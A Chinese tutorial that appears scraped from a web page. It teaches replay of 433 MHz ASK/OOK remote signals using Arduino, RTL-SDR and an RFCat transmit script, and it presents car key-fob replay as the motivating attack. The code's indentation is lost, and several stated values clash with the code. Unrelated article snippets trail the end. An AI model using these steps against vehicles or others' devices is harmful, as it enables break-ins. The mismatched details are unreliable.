使用Arduino模块实施无线信号的重放攻击

无线电已经存在使用了很长一段时间,在这很长的一段时间里诞生了一个名叫火腿族的集体(小编:嗯 对 就是整天吃火腿的那些人^_^  CQ CQ )。无线电和互联网一样:同样存在一些安全隐患,比如:在无线信号的传输中并没有考虑到CRC校验、加密等安全问题。

小情景:如果你在某一天使用无线钥匙卡解锁汽车时候按第二次才成功解锁,那么你的汽车已经被黑客盯上了!

一种名为“车钥信号重放攻击”的新型攻击方式已经被国内外的一些黑客普遍使用:他们利用无线电技术来截获你的钥匙卡指令,然后对汽车电子钥匙的信号进行重放来入侵汽车、解锁车门。

感觉是不是很高大上呢?接下来我们将讨论:如何使用Arduino模块实施无线信号的重放攻击(实现重放一个不归零编码ASK/OOK调制的信号)。

433.925MHz频段在日常生活中很广泛使用:从无线门铃到车库遥控器都有它的“影子”。本文用来重放演示的设备是一个无线控制开关,这种设备在欧洲比较常见,它能够远程以无线的方式控制电器的开和关。

设备如下图所示:

总之,信号以不归零编码的方式从发送端传到接收端,随后接收端对信号进行解码并进行处理。不归零码是一种二进制码:‘1’代码正电压,‘0’代表负电压,脉冲的宽度越长代表数据量越大。下面是不归零码的一个示例:

我们使用Arduino Uno和很常见的RF模块以及RF模块的arduino库文件( RC Switch)作为我们的示例。

所需材料

● RTL_SDR            亚马逊链接:http://www.amazon.com/NooElec-RTL-SDR-RTL2832U-Software-Packages/dp/B008S7AVTC (或者其他接收设备,USRP等)
● SDR-Sharp:        官网:http://sdrsharp.com(功能类似的其他软件还有:gqrx,HDSDR)
● Arduino Uno        网站:http://arduino.cc/en/Main/Buy
● 433MHz RF Link Set 网站:http://www.seeedstudio.com/depot/433Mhz-RF-link-kit-p-127.html
● 一些杜邦线,面包版
● RC-Switch 库       网站:https://code.google.com/p/rc-switch/
● Audacity           网站:http://audacity.sourceforge.net/download/
● RFCat              网站:https://bitbucket.org/atlas0fd00m/rfcat

步入正题

首先,我们先把Arduino和RF模块连接起来,并且把rc-switch库加入到arduino编译器并把程序下载到arduino中,下图是arduino和RF模块连接示意图。对我的无线433MHz发射模块来说,它有3个IO脚:GND,VCC和DATA。

模块的IO脚直接和Arduino IO脚相连接,其中RF模块的GND连接Arduino的GND,VCC连接Arduino的5V 管脚,DATA任意一个数字管脚。

当Arduino和无线模块物理连接正确以后,把下面的代码编译下载到Arduino中。

</*
  Simple example for sending

  http://code.google.com/p/rc-switch/
*/

#include <RCSwitch.h>

RCSwitch mySwitch = RCSwitch();

void setup() {
  mySwitch.enableTransmit(2);  // Using Pin #2
}

void loop() {
  mySwitch.send("1100101"); // Send the message 0x65, in ASCII, ‘a’
  delay(1000);  // 1 second delay per transmission; 1000ms
}

现在Arduino已近正常工作了,我们通过RTL-SDR和SDRSharp去捕捉信号,考虑到通过无线模块产生信号不是很好的选择,无线模块的频率会随着时间改变,选择AM的调制方式:把SDRSharp频率范围设定在433-434MHz之间。

当我们找到无线模块发射的信号后,记录下来并保存为WAV的文件。用Audacity打开记录的WAV文件,如下图所示,,它是一个相当直接的信号,在没有源代码的情况下,我们假设信号是不归零码编码,脉冲宽度调制(PWM),且是ASK/OOK(幅移键控调制/开关监控-这意味着通过OOK控制开和关来表达数据的存在和不存在),最后一件事我们需要计算信号的波特率,按照下面的步骤计算:

1.在工具的的底部设置长度,选择到信号的长度
2.获取音频的采样率(这里是62500hz)

计算波特率的公式:

1  / (samples / samplerate) → 1 / (22 / 62500) = ~2,840bps

大多数的情况,得到的波特率比较准确的,而且这个参数也是配置RFCat的一个重要参数。鉴于信号是脉宽调制的,我们需要把每个脉冲设定在合适的宽度。不幸的的是这需要反复实验和调试,幸运的是,AndrewMac提供了一个非常完美的脚本RFCat解决了这些问题, 通过RFCat软件,我们能够发射处理的信号并且能使Arduino很容易的接收这些信号,当使用RFCat的时候,我们需要设置一些参数:如下面所示:

d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(frequency)
d.makePktFLEN(keyLen)
d.setMdmDRate(baudRate)
d.setMaxPower()
d.setMdmSyncMode(0)

首先我们设置调制方式为 ASK/OOK,设置我们的目标频率为 434042000Hz (433.925MHz),本质我们需要设置数据的长度,波特率为 2840bps, 确保发射为最大的功率,并且关闭同步,把同步模式设为0

假定我们对RFCat已经有了足够的了解并知道如何去使用,下面的脚本有助于我们执行上述的配置和PWM调节,这样有利于我们能接收到匹配的传输信号。

/*
Script by AndrewMac of andrewmohawk.com
*/

#!/usr/bin/env python

import sys
import time
from rflib import *
from struct import *
import argparse
import pprint
import bitstring

keyLen = 0
baudRate = (1 / 0.000350) #because the pulse width is 350 in the code
frequency = 434042000
repeatNum = 30

def ConfigureD(d):
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(frequency)
d.makePktFLEN(keyLen)
d.setMdmDRate(baudRate)
d.setMaxPower()
d.setMdmSyncMode(0)

print "[+] Radio Config:"
print " [-] ---------------------------------"
print " [-] MDMModulation: MOD_ASK_OOK"
print " [-] Frequency: ",frequency
print " [-] Packet Length:",keyLen
print " [-] Baud Rate:",baudRate
print "[-] ---------------------------------"

#raw what we are sending
bin_str_key = "1100101"; 

#adjust the key to make it longer so that the pulse width is correct
long_bin_key = "";

for k in bin_str_key:
x = "*"
if(k == "1"):
x = "11100" # <mossmann> A zero is encoded as a longer high pulse (high-high-low)
if(k == "0"):
x = "1000" #<mossmann> and a one is encoded as a shorter high pulse (high-low-low).
long_bin_key = long_bin_key + x

print "[+] Binary (PWM) key:\n\t",long_bin_key,"\n"

padAmount = len(long_bin_key) % 8
for x in range(0,8-padAmount):
long_bin_key = "0" + long_bin_key

print "[+] Binary Padded (PWM) key:\n\t",long_bin_key,"\n"

key_packed = bitstring.BitArray(bin=long_bin_key).tobytes()

keyLen = len(key_packed)

print "[+] Key len:\n\t",keyLen,"\n"
print "[+] Key:\n\t", key_packed.encode('hex'),"\n"
print ""

d = RfCat()
ConfigureD(d)

print "[%] Transmitting key: ",repeatNum," times\n"

#startString = "11101";
startStringBin = "000000000000000" + "1000100010001000111001000"
startkey_packed = bitstring.BitArray(bin=startStringBin).tobytes()
d.RFxmit(startkey_packed)

d.makePktFLEN(keyLen)
for i in range(0,repeatNum):
sys.stdout.write( "." )
d.RFxmit(key_packed)

#endString = "011";
d.RFxmit('\xFF')
sys.stdout.write("Done.\n")

解释一下上面的代码:

首先我们设置了调制的模式,波特率等,并且把这些配置写入到RFCat并使其生效
然后我们设定密钥key,也就是我们要发送的原始数据并把它赋值给变量binstrkey
然后我们改变密钥并认为‘1’表示111000,‘0’表示1000
这样我们原始的密钥(11001101)被定义新的二进制PWM 密钥即 11100111001000100011100100011100。

我们脉冲的宽度是精确的。下一个步骤就是将二进制PWM密钥转换成比特类型,这样数据就不以ASCII发送,然后用二进制PWM密钥的长度去配置d.makePktFLEN(keyLen),这样RFCat在发送时就有固定长度的密钥,现在信息已近设置好了,我们还需要创建开始位和结束位以便Arduino知道我们数据什么时候开始发送和什么时候结束。当这些定义以后,我们执行RFxmit()函数,d.RFxmit(startkeypacked), d.RFxmit(keypacked), and d.RFxmit(‘\xFF’),最后发送为:

00000000000000010001000100010001110010001110011100100010001110010001110011111111

这些信息被发送30次,并且发送10次被认为是一次完整的消息请求。然而,为了检查和确保信号正确的发送,修改repeatNum 等于‘1’,用SDRSharp重新录制并和原始信号比较,发现两者是相同的。

 Arduino的接收代码:

/*
  Simple example for receiving

  http://code.google.com/p/rc-switch/
*/

#include <RCSwitch.h>

RCSwitch mySwitch = RCSwitch();

void setup() {
  Serial.begin(9600);
  mySwitch.enableReceive(0);  // Receiver on interrupt 0 => that is pin #2
}

void loop() {
  if (mySwitch.available()) {

int value = mySwitch.getReceivedValue();

if (value == 0) {
  Serial.print("Unknown encoding");
} else {
  Serial.print("Received ");
  Serial.print( mySwitch.getReceivedValue() );
  Serial.print(" / ");
  Serial.print( mySwitch.getReceivedBitlength() );
  Serial.print("bit ");
  Serial.print("Protocol: ");
  Serial.println( mySwitch.getReceivedProtocol() );
}

mySwitch.resetAvailable();
  }
}

此后,接收电路按照下图连接:

运气好的话,你的信号很快就会匹配成功,接收端收到RFCat发送的信号,那么你已经成功实现信号的重放。

时间: 2024-09-20 13:30:17

使用Arduino模块实施无线信号的重放攻击的相关文章

#SAP-pp模块实施风险#

问题描述 PP模块实施时,可能出现的风险点?请有经验的人士指教,现在项目将进入到集测阶段,但关键用户一直反馈出来的问题不多,总感觉风险被掩盖着,现在正想尽办法引导关键用户发现问题 解决方案 解决方案二:bom,工序的外包,生产版本的制定解决方案三:首要的风险点就是对SAP系统设计的逻辑有无足够理解,个人觉得这是最大的风险:其次是对各自业务涉及SAP系统的操作是否能理解,或者说单独操作的熟练程度,要尽量避免误操作:再次便是对各岗位涉及SAP系统的操作及作业对前后有关联的业务其相关性有多大,相互间的

《SAP后勤模块实施攻略—SAP在生产、采购、销售、物流中的应用》——第3章 MRP简介 3.1 MRP运行的简要说明

第3章 MRP简介 MRP(Material Requirement Planning,物料需求计划)是基于需求.供给.产品BOM结构等信息计算产生不同的获取建议(Procurement Proposal),在获取建议中包含应该在何时.采购(生产)何种物料.多少数量等各项信息,从而用来实现制造业库存管理目标,即在正确的时间按恰当的数量得到所需的物料. 本章将介绍下列内容: 3.1 MRP运行的简要说明 本节以一个例子简要说明MRP的运行过程,并解释MRP.MPS的关系.流程以及相应的系统操作.

ERP讲义(四)--ERP项目实施考核办法

为了保证ERP系统持续有效地实施和运行,保证各项数据真实客观的形成以及传递,提高公司的管理水平以及效率,特制定ERP培训.实施.使用.维护考核办法. 1.适用范围 该办法适用于信息有关的所有岗位,包括数据的提供.收集.传递.处理.分析等各环节,同时包括对该信息系统的维护和管理. 2.定义 ERP(Enterprise Resource Planning,企业资源计划系统)的概念,是美国Gartner Group公司于1990年提出的.除了MRPⅡ已有的生产资源计划,制造.财务.销售.采购等功能外

《挖掘管理价值:企业软件项目管理实战》一2.6 项目实施控制

2.6 项目实施控制 挖掘管理价值:企业软件项目管理实战软件完成测试后,就可以进入发布阶段,即实际使用阶段.对于发布阶段,也可以称之为实施.升级或迁移.它们的区别在于:"发布"往往是将软件打包给商业或零售用户,因为开发人员并不直接面对用户:"实施"是将软件包括配套的硬件安装到客户那里,开发人员需要自己面对用户提供支持和服务,如配置服务器.安装软件.调试设备等,一般而言需要实施的软件都是面向企业的大中型软件,如ERP或CRM等:"升级"是指将现有的

《Arduino家居安全系统构建实战》——1.3 部署安全系统的先决条件

1.3 部署安全系统的先决条件 如果你正在考虑部署一个安全系统,那么最有可能的原因就是你有这方面的关键需求.因此,在这里最重要的事情就是要准确地确定这种需求.如果做不到这一点,我们最终会步入歧途并造成损失或者导致半途而废. 如果并没有这种需求,你只是拥有着一颗对现代科技勇于探索的心,那么你可能是出于学习和娱乐的目的来设计这个系统,或者试图将自己的家打造成一个现代化的场所.你可以浏览一下这个行业的先进企业的网站以获得参考. 我们可以看到,大多数企业的系统是类似的,只是在某些部分存在一些差异,而这些

Python的import初探[转]

日常使用python编程时,为了用某个代码模块,通常需要在代码中先import相应的module. 那么python的import是如何工作的呢? Table of Contents 1 如何使用import 2 import语句针对单个模块文件的工作方式 3 import语句针对模块包的工作方式 4 总结及深入阅读 5 参考 1 如何使用import 对于大型的软件项目,模块化的管理非常有必要. 于是在现如今的面向对象语言中,都有相应的机制来应对这一问题. 如C++中的namespace, J

你的定位,你的一生--解读IT人从业方向

方向 一.关于企业计算方向 企业计算(Enterprise Computing)是稍时髦较好听的名词,主要是指企业信息系统如:ERP 软件(企业资源规划).CRM 软件(客户关系管理).SCM 软件(供应链管理,即物流软件),银行证券软件财务软件电子商务/政务(包括各种网站),数据仓库,数据挖掘,商务智能等企业信息管理系统. 企业计算领域对人才的需求显然永远是数量最大的因为这是计算机应用最多的领域.搞这方面的好处是: (1)人才需求量极大从事企业计算的公司在IT企业中占了大多数.除非在专业上一无

基于JavaScript语言的快速物联网开发架构

随 JavaScript 语言的流行,及物联网领域的崛起,我们能看到它们结合的可能性,同时也发现它特别适合于物联网开发.因此,在这篇文章里,笔者将主要从以下三个方面进行介绍: 典型的物联网架构,及多种语言带来的问题: 只使用 JavaScript 语言的物联网架构: 详解基于 JavaScript 语言的物联网不同层级结构. 那么,先让我们看看典型的物联网架构是怎样的吧. 典型的物联网架构 我们甚至还可以认为,物联网只是对互联网的扩展.与传统的 C/S 架构相比,它多了一个"数据采集层"

Rafy 领域实体框架设计 - 重构 ORM 中的 Sql 生成

前言 Rafy 领域实体框架作为一个使用领域驱动设计作为指导思想的开发框架,必然要处理领域实体到数据库表之间的映射,即包含了 ORM 的功能.由于在 09 年最初设计时,ORM 部分的设计并不是最重要的部分,那里 Rafy 的核心是产品线工程.模型驱动开发.界面生成等.所以当时,我们简单地采用了一个开源的小型 ORM 框架:<Lite ORM Library>.这个 ORM 框架可以生成比较简单的 Sql 语句,以处理一般性的情况. 随着不断使用,我们也不断对 ORM 的源码做了不少改动,让它